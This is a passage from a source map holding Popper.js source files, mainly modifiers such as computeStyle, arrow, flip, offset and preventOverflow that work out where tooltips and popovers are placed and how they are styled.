data.attributes);\n\n  // if arrowElement is defined and arrowStyles has some properties\n  if (data.arrowElement && Object.keys(data.arrowStyles).length) {\n    setStyles(data.arrowElement, data.arrowStyles);\n  }\n\n  return data;\n}\n\n/**\n * Set the x-placement attribute before everything else because it could be used\n * to add margins to the popper margins needs to be calculated to get the\n * correct popper offsets.\n * @method\n * @memberof Popper.modifiers\n * @param {HTMLElement} reference - The reference element used to position the popper\n * @param {HTMLElement} popper - The HTML element used as popper\n * @param {Object} options - Popper.js options\n */\nexport function applyStyleOnLoad(\n  reference,\n  popper,\n  options,\n  modifierOptions,\n  state\n) {\n  // compute reference element offsets\n  const referenceOffsets = getReferenceOffsets(state, popper, reference, options.positionFixed);\n\n  // compute auto placement, store placement inside the data object,\n  // modifiers will be able to edit `placement` if needed\n  // and refer to originalPlacement to know the original value\n  const placement = computeAutoPlacement(\n    options.placement,\n    referenceOffsets,\n    popper,\n    reference,\n    options.modifiers.flip.boundariesElement,\n    options.modifiers.flip.padding\n  );\n\n  popper.setAttribute('x-placement', placement);\n\n  // Apply `position` to popper before anything else because\n  // without the position applied we can't guarantee correct computations\n  setStyles(popper, { position: options.positionFixed ? 'fixed' : 'absolute' });\n\n  return options;\n}\n","import getSupportedPropertyName from '../utils/getSupportedPropertyName';\nimport find from '../utils/find';\nimport getOffsetParent from '../utils/getOffsetParent';\nimport getBoundingClientRect from '../utils/getBoundingClientRect';\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function computeStyle(data, options) {\n  const { x, y } = options;\n  const { popper } = data.offsets;\n\n  // Remove this legacy support in Popper.js v2\n  const legacyGpuAccelerationOption = find(\n    data.instance.modifiers,\n    modifier => modifier.name === 'applyStyle'\n  ).gpuAcceleration;\n  if (legacyGpuAccelerationOption !== undefined) {\n    console.warn(\n      'WARNING: `gpuAcceleration` option moved to `computeStyle` modifier and will not be supported in future versions of Popper.js!'\n    );\n  }\n  const gpuAcceleration =\n    legacyGpuAccelerationOption !== undefined\n      ? legacyGpuAccelerationOption\n      : options.gpuAcceleration;\n\n  const offsetParent = getOffsetParent(data.instance.popper);\n  const offsetParentRect = getBoundingClientRect(offsetParent);\n\n  // Styles\n  const styles = {\n    position: popper.position,\n  };\n\n  // Avoid blurry text by using full pixel integers.\n  // For pixel-perfect positioning, top/bottom prefers rounded\n  // values, while left/right prefers floored values.\n  const offsets = {\n    left: Math.floor(popper.left),\n    top: Math.round(popper.top),\n    bottom: Math.round(popper.bottom),\n    right: Math.floor(popper.right),\n  };\n\n  const sideA = x === 'bottom' ? 'top' : 'bottom';\n  const sideB = y === 'right' ? 'left' : 'right';\n\n  // if gpuAcceleration is set to `true` and transform is supported,\n  //  we use `translate3d` to apply the position to the popper we\n  // automatically use the supported prefixed version if needed\n  const prefixedProperty = getSupportedPropertyName('transform');\n\n  // now, let's make a step back and look at this code closely (wtf?)\n  // If the content of the popper grows once it's been positioned, it\n  // may happen that the popper gets misplaced because of the new content\n  // overflowing its reference element\n  // To avoid this problem, we provide two options (x and y), which allow\n  // the consumer to define the offset origin.\n  // If we position a popper on top of a reference element, we can set\n  // `x` to `top` to make the popper grow towards its top instead of\n  // its bottom.\n  let left, top;\n  if (sideA === 'bottom') {\n    // when offsetParent is <html> the positioning is relative to the bottom of the screen (excluding the scrollbar)\n    // and not the bottom of the html element\n    if (offsetParent.nodeName === 'HTML') {\n      top = -offsetParent.clientHeight + offsets.bottom;\n    } else {\n      top = -offsetParentRect.height + offsets.bottom;\n    }\n  } else {\n    top = offsets.top;\n  }\n  if (sideB === 'right') {\n    if (offsetParent.nodeName === 'HTML') {\n      left = -offsetParent.clientWidth + offsets.right;\n    } else {\n      left = -offsetParentRect.width + offsets.right;\n    }\n  } else {\n    left = offsets.left;\n  }\n  if (gpuAcceleration && prefixedProperty) {\n    styles[prefixedProperty] = `translate3d(${left}px, ${top}px, 0)`;\n    styles[sideA] = 0;\n    styles[sideB] = 0;\n    styles.willChange = 'transform';\n  } else {\n    // othwerise, we use the standard `top`, `left`, `bottom` and `right` properties\n    const invertTop = sideA === 'bottom' ? -1 : 1;\n    const invertLeft = sideB === 'right' ? -1 : 1;\n    styles[sideA] = top * invertTop;\n    styles[sideB] = left * invertLeft;\n    styles.willChange = `${sideA}, ${sideB}`;\n  }\n\n  // Attributes\n  const attributes = {\n    'x-placement': data.placement,\n  };\n\n  // Update `data` attributes, styles and arrowStyles\n  data.attributes = { ...attributes, ...data.attributes };\n  data.styles = { ...styles, ...data.styles };\n  data.arrowStyles = { ...data.offsets.arrow, ...data.arrowStyles };\n\n  return data;\n}\n","import find from './find';\n\n/**\n * Helper used to know if the given modifier depends from another one.<br />\n * It checks if the needed modifier is listed and enabled.\n * @method\n * @memberof Popper.Utils\n * @param {Array} modifiers - list of modifiers\n * @param {String} requestingName - name of requesting modifier\n * @param {String} requestedName - name of requested modifier\n * @returns {Boolean}\n */\nexport default function isModifierRequired(\n  modifiers,\n  requestingName,\n  requestedName\n) {\n  const requesting = find(modifiers, ({ name }) => name === requestingName);\n\n  const isRequired =\n    !!requesting &&\n    modifiers.some(modifier => {\n      return (\n        modifier.name === requestedName &&\n        modifier.enabled &&\n        modifier.order < requesting.order\n      );\n    });\n\n  if (!isRequired) {\n    const requesting = `\\`${requestingName}\\``;\n    const requested = `\\`${requestedName}\\``;\n    console.warn(\n      `${requested} modifier is required by ${requesting} modifier in order to work, be sure to include it before ${requesting}!`\n    );\n  }\n  return isRequired;\n}\n","import getClientRect from '../utils/getClientRect';\nimport getOuterSizes from '../utils/getOuterSizes';\nimport isModifierRequired from '../utils/isModifierRequired';\nimport getStyleComputedProperty from '../utils/getStyleComputedProperty';\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function arrow(data, options) {\n  // arrow depends on keepTogether in order to work\n  if (!isModifierRequired(data.instance.modifiers, 'arrow', 'keepTogether')) {\n    return data;\n  }\n\n  let arrowElement = options.element;\n\n  // if arrowElement is a string, suppose it's a CSS selector\n  if (typeof arrowElement === 'string') {\n    arrowElement = data.instance.popper.querySelector(arrowElement);\n\n    // if arrowElement is not found, don't run the modifier\n    if (!arrowElement) {\n      return data;\n    }\n  } else {\n    // if the arrowElement isn't a query selector we must check that the\n    // provided DOM node is child of its popper node\n    if (!data.instance.popper.contains(arrowElement)) {\n      console.warn(\n        'WARNING: `arrow.element` must be child of its popper element!'\n      );\n      return data;\n    }\n  }\n\n  const placement = data.placement.split('-')[0];\n  const { popper, reference } = data.offsets;\n  const isVertical = ['left', 'right'].indexOf(placement) !== -1;\n\n  const len = isVertical ? 'height' : 'width';\n  const sideCapitalized = isVertical ? 'Top' : 'Left';\n  const side = sideCapitalized.toLowerCase();\n  const altSide = isVertical ? 'left' : 'top';\n  const opSide = isVertical ? 'bottom' : 'right';\n  const arrowElementSize = getOuterSizes(arrowElement)[len];\n\n  //\n  // extends keepTogether behavior making sure the popper and its\n  // reference have enough pixels in conjunction\n  //\n\n  // top/left side\n  if (reference[opSide] - arrowElementSize < popper[side]) {\n    data.offsets.popper[side] -=\n      popper[side] - (reference[opSide] - arrowElementSize);\n  }\n  // bottom/right side\n  if (reference[side] + arrowElementSize > popper[opSide]) {\n    data.offsets.popper[side] +=\n      reference[side] + arrowElementSize - popper[opSide];\n  }\n  data.offsets.popper = getClientRect(data.offsets.popper);\n\n  // compute center of the popper\n  const center = reference[side] + reference[len] / 2 - arrowElementSize / 2;\n\n  // Compute the sideValue using the updated popper offsets\n  // take popper margin in account because we don't have this info available\n  const css = getStyleComputedProperty(data.instance.popper);\n  const popperMarginSide = parseFloat(css[`margin${sideCapitalized}`], 10);\n  const popperBorderSide = parseFloat(css[`border${sideCapitalized}Width`], 10);\n  let sideValue =\n    center - data.offsets.popper[side] - popperMarginSide - popperBorderSide;\n\n  // prevent arrowElement from being placed not contiguously to its popper\n  sideValue = Math.max(Math.min(popper[len] - arrowElementSize, sideValue), 0);\n\n  data.arrowElement = arrowElement;\n  data.offsets.arrow = {\n    [side]: Math.round(sideValue),\n    [altSide]: '', // make sure to unset any eventual altSide value from the DOM node\n  };\n\n  return data;\n}\n","/**\n * Get the opposite placement variation of the given one\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement variation\n * @returns {String} flipped placement variation\n */\nexport default function getOppositeVariation(variation) {\n  if (variation === 'end') {\n    return 'start';\n  } else if (variation === 'start') {\n    return 'end';\n  }\n  return variation;\n}\n","/**\n * List of accepted placements to use as values of the `placement` option.<br />\n * Valid placements are:\n * - `auto`\n * - `top`\n * - `right`\n * - `bottom`\n * - `left`\n *\n * Each placement can have a variation from this list:\n * - `-start`\n * - `-end`\n *\n * Variations are interpreted easily if you think of them as the left to right\n * written languages. Horizontally (`top` and `bottom`), `start` is left and `end`\n * is right.<br />\n * Vertically (`left` and `right`), `start` is top and `end` is bottom.\n *\n * Some valid examples are:\n * - `top-end` (on top of reference, right aligned)\n * - `right-start` (on right of reference, top aligned)\n * - `bottom` (on bottom, centered)\n * - `auto-end` (on the side with more space available, alignment depends by placement)\n *\n * @static\n * @type {Array}\n * @enum {String}\n * @readonly\n * @method placements\n * @memberof Popper\n */\nexport default [\n  'auto-start',\n  'auto',\n  'auto-end',\n  'top-start',\n  'top',\n  'top-end',\n  'right-start',\n  'right',\n  'right-end',\n  'bottom-end',\n  'bottom',\n  'bottom-start',\n  'left-end',\n  'left',\n  'left-start',\n];\n","import placements from '../methods/placements';\n\n// Get rid of `auto` `auto-start` and `auto-end`\nconst validPlacements = placements.slice(3);\n\n/**\n * Given an initial placement, returns all the subsequent placements\n * clockwise (or counter-clockwise).\n *\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement - A valid placement (it accepts variations)\n * @argument {Boolean} counter - Set to true to walk the placements counterclockwise\n * @returns {Array} placements including their variations\n */\nexport default function clockwise(placement, counter = false) {\n  const index = validPlacements.indexOf(placement);\n  const arr = validPlacements\n    .slice(index + 1)\n    .concat(validPlacements.slice(0, index));\n  return counter ? arr.reverse() : arr;\n}\n","import getOppositePlacement from '../utils/getOppositePlacement';\nimport getOppositeVariation from '../utils/getOppositeVariation';\nimport getPopperOffsets from '../utils/getPopperOffsets';\nimport runModifiers from '../utils/runModifiers';\nimport getBoundaries from '../utils/getBoundaries';\nimport isModifierEnabled from '../utils/isModifierEnabled';\nimport clockwise from '../utils/clockwise';\n\nconst BEHAVIORS = {\n  FLIP: 'flip',\n  CLOCKWISE: 'clockwise',\n  COUNTERCLOCKWISE: 'counterclockwise',\n};\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function flip(data, options) {\n  // if `inner` modifier is enabled, we can't use the `flip` modifier\n  if (isModifierEnabled(data.instance.modifiers, 'inner')) {\n    return data;\n  }\n\n  if (data.flipped && data.placement === data.originalPlacement) {\n    // seems like flip is trying to loop, probably there's not enough space on any of the flippable sides\n    return data;\n  }\n\n  const boundaries = getBoundaries(\n    data.instance.popper,\n    data.instance.reference,\n    options.padding,\n    options.boundariesElement,\n    data.positionFixed\n  );\n\n  let placement = data.placement.split('-')[0];\n  let placementOpposite = getOppositePlacement(placement);\n  let variation = data.placement.split('-')[1] || '';\n\n  let flipOrder = [];\n\n  switch (options.behavior) {\n    case BEHAVIORS.FLIP:\n      flipOrder = [placement, placementOpposite];\n      break;\n    case BEHAVIORS.CLOCKWISE:\n      flipOrder = clockwise(placement);\n      break;\n    case BEHAVIORS.COUNTERCLOCKWISE:\n      flipOrder = clockwise(placement, true);\n      break;\n    default:\n      flipOrder = options.behavior;\n  }\n\n  flipOrder.forEach((step, index) => {\n    if (placement !== step || flipOrder.length === index + 1) {\n      return data;\n    }\n\n    placement = data.placement.split('-')[0];\n    placementOpposite = getOppositePlacement(placement);\n\n    const popperOffsets = data.offsets.popper;\n    const refOffsets = data.offsets.reference;\n\n    // using floor because the reference offsets may contain decimals we are not going to consider here\n    const floor = Math.floor;\n    const overlapsRef =\n      (placement === 'left' &&\n        floor(popperOffsets.right) > floor(refOffsets.left)) ||\n      (placement === 'right' &&\n        floor(popperOffsets.left) < floor(refOffsets.right)) ||\n      (placement === 'top' &&\n        floor(popperOffsets.bottom) > floor(refOffsets.top)) ||\n      (placement === 'bottom' &&\n        floor(popperOffsets.top) < floor(refOffsets.bottom));\n\n    const overflowsLeft = floor(popperOffsets.left) < floor(boundaries.left);\n    const overflowsRight = floor(popperOffsets.right) > floor(boundaries.right);\n    const overflowsTop = floor(popperOffsets.top) < floor(boundaries.top);\n    const overflowsBottom =\n      floor(popperOffsets.bottom) > floor(boundaries.bottom);\n\n    const overflowsBoundaries =\n      (placement === 'left' && overflowsLeft) ||\n      (placement === 'right' && overflowsRight) ||\n      (placement === 'top' && overflowsTop) ||\n      (placement === 'bottom' && overflowsBottom);\n\n    // flip the variation if required\n    const isVertical = ['top', 'bottom'].indexOf(placement) !== -1;\n    const flippedVariation =\n      !!options.flipVariations &&\n      ((isVertical && variation === 'start' && overflowsLeft) ||\n        (isVertical && variation === 'end' && overflowsRight) ||\n        (!isVertical && variation === 'start' && overflowsTop) ||\n        (!isVertical && variation === 'end' && overflowsBottom));\n\n    if (overlapsRef || overflowsBoundaries || flippedVariation) {\n      // this boolean to detect any flip loop\n      data.flipped = true;\n\n      if (overlapsRef || overflowsBoundaries) {\n        placement = flipOrder[index + 1];\n      }\n\n      if (flippedVariation) {\n        variation = getOppositeVariation(variation);\n      }\n\n      data.placement = placement + (variation ? '-' + variation : '');\n\n      // this object contains `position`, we want to preserve it along with\n      // any additional property we may add in the future\n      data.offsets.popper = {\n        ...data.offsets.popper,\n        ...getPopperOffsets(\n          data.instance.popper,\n          data.offsets.reference,\n          data.placement\n        ),\n      };\n\n      data = runModifiers(data.instance.modifiers, data, 'flip');\n    }\n  });\n  return data;\n}\n","/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function keepTogether(data) {\n  const { popper, reference } = data.offsets;\n  const placement = data.placement.split('-')[0];\n  const floor = Math.floor;\n  const isVertical = ['top', 'bottom'].indexOf(placement) !== -1;\n  const side = isVertical ? 'right' : 'bottom';\n  const opSide = isVertical ? 'left' : 'top';\n  const measurement = isVertical ? 'width' : 'height';\n\n  if (popper[side] < floor(reference[opSide])) {\n    data.offsets.popper[opSide] =\n      floor(reference[opSide]) - popper[measurement];\n  }\n  if (popper[opSide] > floor(reference[side])) {\n    data.offsets.popper[opSide] = floor(reference[side]);\n  }\n\n  return data;\n}\n","import isNumeric from '../utils/isNumeric';\nimport getClientRect from '../utils/getClientRect';\nimport find from '../utils/find';\n\n/**\n * Converts a string containing value + unit into a px value number\n * @function\n * @memberof {modifiers~offset}\n * @private\n * @argument {String} str - Value + unit string\n * @argument {String} measurement - `height` or `width`\n * @argument {Object} popperOffsets\n * @argument {Object} referenceOffsets\n * @returns {Number|String}\n * Value in pixels, or original string if no values were extracted\n */\nexport function toValue(str, measurement, popperOffsets, referenceOffsets) {\n  // separate value from unit\n  const split = str.match(/((?:\\-|\\+)?\\d*\\.?\\d*)(.*)/);\n  const value = +split[1];\n  const unit = split[2];\n\n  // If it's not a number it's an operator, I guess\n  if (!value) {\n    return str;\n  }\n\n  if (unit.indexOf('%') === 0) {\n    let element;\n    switch (unit) {\n      case '%p':\n        element = popperOffsets;\n        break;\n      case '%':\n      case '%r':\n      default:\n        element = referenceOffsets;\n    }\n\n    const rect = getClientRect(element);\n    return rect[measurement] / 100 * value;\n  } else if (unit === 'vh' || unit === 'vw') {\n    // if is a vh or vw, we calculate the size based on the viewport\n    let size;\n    if (unit === 'vh') {\n      size = Math.max(\n        document.documentElement.clientHeight,\n        window.innerHeight || 0\n      );\n    } else {\n      size = Math.max(\n        document.documentElement.clientWidth,\n        window.innerWidth || 0\n      );\n    }\n    return size / 100 * value;\n  } else {\n    // if is an explicit pixel unit, we get rid of the unit and keep the value\n    // if is an implicit unit, it's px, and we return just the value\n    return value;\n  }\n}\n\n/**\n * Parse an `offset` string to extrapolate `x` and `y` numeric offsets.\n * @function\n * @memberof {modifiers~offset}\n * @private\n * @argument {String} offset\n * @argument {Object} popperOffsets\n * @argument {Object} referenceOffsets\n * @argument {String} basePlacement\n * @returns {Array} a two cells array with x and y offsets in numbers\n */\nexport function parseOffset(\n  offset,\n  popperOffsets,\n  referenceOffsets,\n  basePlacement\n) {\n  const offsets = [0, 0];\n\n  // Use height if placement is left or right and index is 0 otherwise use width\n  // in this way the first offset will use an axis and the second one\n  // will use the other one\n  const useHeight = ['right', 'left'].indexOf(basePlacement) !== -1;\n\n  // Split the offset string to obtain a list of values and operands\n  // The regex addresses values with the plus or minus sign in front (+10, -20, etc)\n  const fragments = offset.split(/(\\+|\\-)/).map(frag => frag.trim());\n\n  // Detect if the offset string contains a pair of values or a single one\n  // they could be separated by comma or space\n  const divider = fragments.indexOf(\n    find(fragments, frag => frag.search(/,|\\s/) !== -1)\n  );\n\n  if (fragments[divider] && fragments[divider].indexOf(',') === -1) {\n    console.warn(\n      'Offsets separated by white space(s) are deprecated, use a comma (,) instead.'\n    );\n  }\n\n  // If divider is found, we divide the list of values and operands to divide\n  // them by ofset X and Y.\n  const splitRegex = /\\s*,\\s*|\\s+/;\n  let ops = divider !== -1\n    ? [\n        fragments\n          .slice(0, divider)\n          .concat([fragments[divider].split(splitRegex)[0]]),\n        [fragments[divider].split(splitRegex)[1]].concat(\n          fragments.slice(divider + 1)\n        ),\n      ]\n    : [fragments];\n\n  // Convert the values with units to absolute pixels to allow our computations\n  ops = ops.map((op, index) => {\n    // Most of the units rely on the orientation of the popper\n    const measurement = (index === 1 ? !useHeight : useHeight)\n      ? 'height'\n      : 'width';\n    let mergeWithPrevious = false;\n    return (\n      op\n        // This aggregates any `+` or `-` sign that aren't considered operators\n        // e.g.: 10 + +5 => [10, +, +5]\n        .reduce((a, b) => {\n          if (a[a.length - 1] === '' && ['+', '-'].indexOf(b) !== -1) {\n            a[a.length - 1] = b;\n            mergeWithPrevious = true;\n            return a;\n          } else if (mergeWithPrevious) {\n            a[a.length - 1] += b;\n            mergeWithPrevious = false;\n            return a;\n          } else {\n            return a.concat(b);\n          }\n        }, [])\n        // Here we convert the string values into number values (in px)\n        .map(str => toValue(str, measurement, popperOffsets, referenceOffsets))\n    );\n  });\n\n  // Loop trough the offsets arrays and execute the operations\n  ops.forEach((op, index) => {\n    op.forEach((frag, index2) => {\n      if (isNumeric(frag)) {\n        offsets[index] += frag * (op[index2 - 1] === '-' ? -1 : 1);\n      }\n    });\n  });\n  return offsets;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @argument {Number|String} options.offset=0\n * The offset value as described in the modifier description\n * @returns {Object} The data object, properly modified\n */\nexport default function offset(data, { offset }) {\n  const { placement, offsets: { popper, reference } } = data;\n  const basePlacement = placement.split('-')[0];\n\n  let offsets;\n  if (isNumeric(+offset)) {\n    offsets = [+offset, 0];\n  } else {\n    offsets = parseOffset(offset, popper, reference, basePlacement);\n  }\n\n  if (basePlacement === 'left') {\n    popper.top += offsets[0];\n    popper.left -= offsets[1];\n  } else if (basePlacement === 'right') {\n    popper.top += offsets[0];\n    popper.left += offsets[1];\n  } else if (basePlacement === 'top') {\n    popper.left += offsets[0];\n    popper.top -= offsets[1];\n  } else if (basePlacement === 'bottom') {\n    popper.left += offsets[0];\n    popper.top += offsets[1];\n  }\n\n  data.popper = popper;\n  return data;\n}\n","import getOffsetParent from '../utils/getOffsetParent';\nimport getBoundaries from '../utils/getBoundaries';\nimport getSupportedPropertyName from '../utils/getSupportedPropertyName';\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function preventOverflow(data, options) {\n  let boundariesElement =\n    options.boundariesElement || getOffsetParent(data.instance.popper);\n\n  // If offsetParent is the reference element, we really want to\n  // go one step up and use the next offsetParent as reference to\n  // avoid to make this modifier completely useless and look like broken\n  if (data.instance.reference === boundariesElement) {\n    boundariesElement = getOffsetParent(boundariesElement);\n  }\n\n  // NOTE: DOM access here\n  // resets the popper's position so that the document size can be calculated excluding\n  // the size of the popper element itself\n  const transformProp = getSupportedPropertyName('transform');\n  const popperStyles = data.instance.popper.style; // assignment to help minification\n  const { top, left, [transformProp]: transform } = popperStyles;\n  popperStyles.top = '';\n  popperStyles.left = '';\n  popperStyles[transformProp] = '';\n\n  const boundaries = getBoundaries(\n    data.instance.popper,\n    data.instance.reference,\n    options.padding,\n    boundariesElement,\n    data.positionFixed\n  );\n\n  // NOTE: DOM access here\n  // restores the original style properties after the offsets have been computed\n  popperStyles.top = top;\n  popperStyles.left = left;\n  popperStyles[transformProp] = transform;\n\n  options.boundaries = boundaries;\n\n  const order = options.priority;\n  let popper = data.offsets.popper;\n\n  const check = {\n    primary(placement) {\n      let value = popper[placement];\n      if (\n        popper[placement] < boundaries[placement] &&\n        !options.escapeWithReference\n      ) {\n        value = Math.max(popper[placement], boundaries[placement]);\n      }\n      return { [placement]: value };\n    },\n    secondary(placement) {\n      const mainSide = placement === 'right' ? 'left' : 'top';\n      let value = popper[mainSide];\n      if (\n        popper[placement] > boundaries[placement] &&\n        !options.escapeWithReference\n      ) {\n        value = Math.min(\n          popper[mainSide],\n          boundaries[placement] -\n            (placement === 'right' ? popper.width : popper.height)\n        );\n      }\n      return { [mainSide]: value };\n    },\n  };\n\n  order.forEach(placement => {\n    const side =\n      ['left', 'top'].indexOf(placement) !== -1 ? 'primary' : 'secondary';\n    popper = { ...popper, ...check[side](placement) };\n  });\n\n  data.offsets.popper = popper;\n\n  return data;\n}\n","/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function shift(data) {\n  const placement = data.placement;\n  const basePlacement = placement.split('-')[0];\n  const shiftvariation = placement.split('-')[1];\n\n  // if shift shiftvariation is specified, run the modifier\n  if (shiftvariation) {\n    const { reference, popper } = data.offsets;\n    const isVertical = ['bottom', 'top'].indexOf(basePlacement) !== -1;\n    const side = isVertical ? 'left' : 'top';\n    const measurement = isVertical ? 'width' : 'height';\n\n    const shiftOffsets = {\n      start: { [side]: reference[side] },\n      end: {\n        [side]: reference[side] + reference[measurement] - popper[measurement],\n      },\n    };\n\n    data.offsets.popper = { ...popper, ...shiftOffsets[shiftvariation] };\n  }\n\n  return data;\n}\n","import isModifierRequired from '../utils/isModifierRequired';\nimport find from '../utils/find';\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function hide(data) {\n  if (!isModifierRequired(data.instance.modifiers, 'hide', 'preventOverflow')) {\n    return data;\n  }\n\n  const refRect = data.offsets.reference;\n  const bound = find(\n    data.instance.modifiers,\n    modifier => modifier.name === 'preventOverflow'\n  ).boundaries;\n\n  if (\n    refRect.bottom < bound.top ||\n    refRect.left > bound.right ||\n    refRect.top > bound.bottom ||\n    refRect.right < bound.left\n  ) {\n    // Avoid unnecessary DOM access if visibility hasn't changed\n    if (data.hide === true) {\n      return data;\n    }\n\n    data.hide = true;\n    data.attributes['x-out-of-boundaries'] = '';\n  } else {\n    // Avoid unnecessary DOM access if visibility hasn't changed\n    if (data.hide === false) {\n      return data;\n    }\n\n    data.hide = false;\n    data.attributes['x-out-of-boundaries'] = false;\n  }\n\n  return data;\n}\n","import getClientRect from '../utils/getClientRect';\nimport getOppositePlacement from '../utils/getOppositePlacement';\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function inner(data) {\n  const placement = data.placement;\n  const basePlacement = placement.split('-')[0];\n  const { popper, reference } = data.offsets;\n  const isHoriz = ['left', 'right'].indexOf(basePlacement) !== -1;\n\n  const subtractLength = ['top', 'left'].indexOf(basePlacement) === -1;\n\n  popper[isHoriz ? 'left' : 'top'] =\n    reference[basePlacement] -\n    (subtractLength ? popper[isHoriz ? 'width' : 'height'] : 0);\n\n  data.placement = getOppositePlacement(placement);\n  data.offsets.popper = getClientRect(popper);\n\n  return data;\n}\n","import applyStyle, { applyStyleOnLoad } from './applyStyle';\nimport computeStyle from './computeStyle';\nimport arrow from './arrow';\nimport flip from './flip';\nimport keepTogether from './keepTogether';\nimport offset from './offset';\nimport preventOverflow from './preventOverflow';\nimport shift from './shift';\nimport hide from './hide';\nimport inner from './inner';\n\n/**\n * Modifier function, each modifier can have a function of this type assigned\n * to its `fn` property.<br />\n * These functions will be called on each update, this means that you must\n * make sure they are performant enough to avoid performance bottlenecks.\n *\n * @function ModifierFn\n * @argument {dataObject} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {dataObject} The data object, properly modified\n */\n\n/**\n * Modifiers are plugins used to alter the behavior of your poppers.<br />\n * Popper.js uses a set of 9 modifiers to provide all the basic functionalities\n * needed by the library.\n *\n * Usually you don't want to override the `order`, `fn` and `onLoad` props.\n * All the other properties are configurations that could be tweaked.\n * @namespace modifiers\n */\nexport default {\n  /**\n   * Modifier used to shift the popper on the start or end of its reference\n   * element.<br />\n   * It will read the variation of the `placement` property.<br />\n   * It can be one either `-end` or `-start`.\n   * @memberof modifiers\n   * @inner\n   */\n  shift: {\n    /** @prop {number} order=100 - Index used to define the order of execution */\n    order: 100,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: shift,\n  },\n\n  /**\n   * The `offset` modifier can shift your popper on both its axis.\n   *\n   * It accepts the following units:\n   * - `px` or unit-less, interpreted as pixels\n   * - `%` or `%r`, percentage relative to the length of the reference element\n   * - `%p`, percentage relative to the length of the popper element\n   * - `vw`, CSS viewport width unit\n   * - `vh`, CSS viewport height unit\n   *\n   * For length is intended the main axis relative to the placement of the popper.<br />\n   * This means that if the placement is `top` or `bottom`, the length will be the\n   * `width`. In case of `left` or `right`, it will be the `height`.\n   *\n   * You can provide a single value (as `Number` or `String`), or a pair of values\n   * as `String` divided by a comma or one (or more) white spaces.<br />\n   * The latter is a deprecated method because it leads to confusion and will be\n   * removed in v2.<br />\n   * Additionally, it accepts additions and subtractions between different units.\n   * Note that multiplications and divisions aren't supported.\n   *\n   * Valid examples are:\n   * ```\n   * 10\n   * '10%'\n   * '10, 10'\n   * '10%, 10'\n   * '10 + 10%'\n   * '10 - 5vh + 3%'\n   * '-10px + 5vh, 5px - 6%'\n   * ```\n   * > **NB**: If you desire to apply offsets to your poppers in a way that may make them overlap\n   * > with their reference element, unfortunately, you will have to disable the `flip` modifier.\n   * > You can read more on this at this [issue](https://github.com/FezVrasta/popper.js/issues/373).\n   *\n   * @memberof modifiers\n   * @inner\n   */\n  offset: {\n    /** @prop {number} order=200 - Index used to define the order of execution */\n    order: 200,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: offset,\n    /** @prop {Number|String} offset=0\n     * The offset value as described in the modifier description\n     */\n    offset: 0,\n  },\n\n  /**\n   * Modifier used to prevent the popper from being positioned outside the boundary.\n   *\n   * A scenario exists where the reference itself is not within the boundaries.<br />\n   * We can say it has \"escaped the boundaries\" — or just \"escaped\".<br />\n   * In this case we need to decide whether the popper should either:\n   *\n   * - detach from the reference and remain \"trapped\" in the boundaries, or\n   * - if it should ignore the boundary and \"escape with its reference\"\n   *\n   * When `escapeWithReference` is set to`true` and reference is completely\n   * outside its boundaries, the popper will overflow (or completely leave)\n   * the boundaries in order to remain attached to the edge of the reference.\n   *\n   * @memberof modifiers\n   * @inner\n   */\n  preventOverflow: {\n    /** @prop {number} order=300 - Index used to define the order of execution */\n    order: 300,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: preventOverflow,\n    /**\n     * @prop {Array} [priority=['left','right','top','bottom']]\n     * Popper will try to prevent overflow following these priorities by default,\n     * then, it could overflow on the left and on top of the `boundariesElement`\n     */\n    priority: ['left', 'right', 'top', 'bottom'],\n    /**\n     * @prop {number} padding=5\n     * Amount of pixel used to define a minimum distance between the boundaries\n     * and the popper. This makes sure the popper always has a little padding\n     * between the edges of its container\n     */\n    padding: 5,\n    /**\n     * @prop {String|HTMLElement} boundariesElement='scrollParent'\n     * Boundaries used by the modifier. Can be `scrollParent`, `window`,\n     * `viewport` or any DOM element.\n     */\n    boundariesElement: 'scrollParent',\n  },\n\n  /**\n   * Modifier used to make sure the reference and its popper stay near each other\n   * without leaving any gap between the two. Especially useful when the arrow is\n   * enabled and you want to ensure that it points to its reference element.\n   * It cares only about the first axis. You can still have poppers with margin\n   * between the popper and its reference element.\n   * @memberof modifiers\n   * @inner\n   */\n  keepTogether: {\n    /** @prop {number} order=400 - Index used to define the order of execution */\n    order: 400,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: keepTogether,\n  },\n\n  /**\n   * This modifier is used to move the `arrowElement` of the popper to make\n   * sure it is positioned between the reference element and its popper element.\n   * It will read the outer size of the 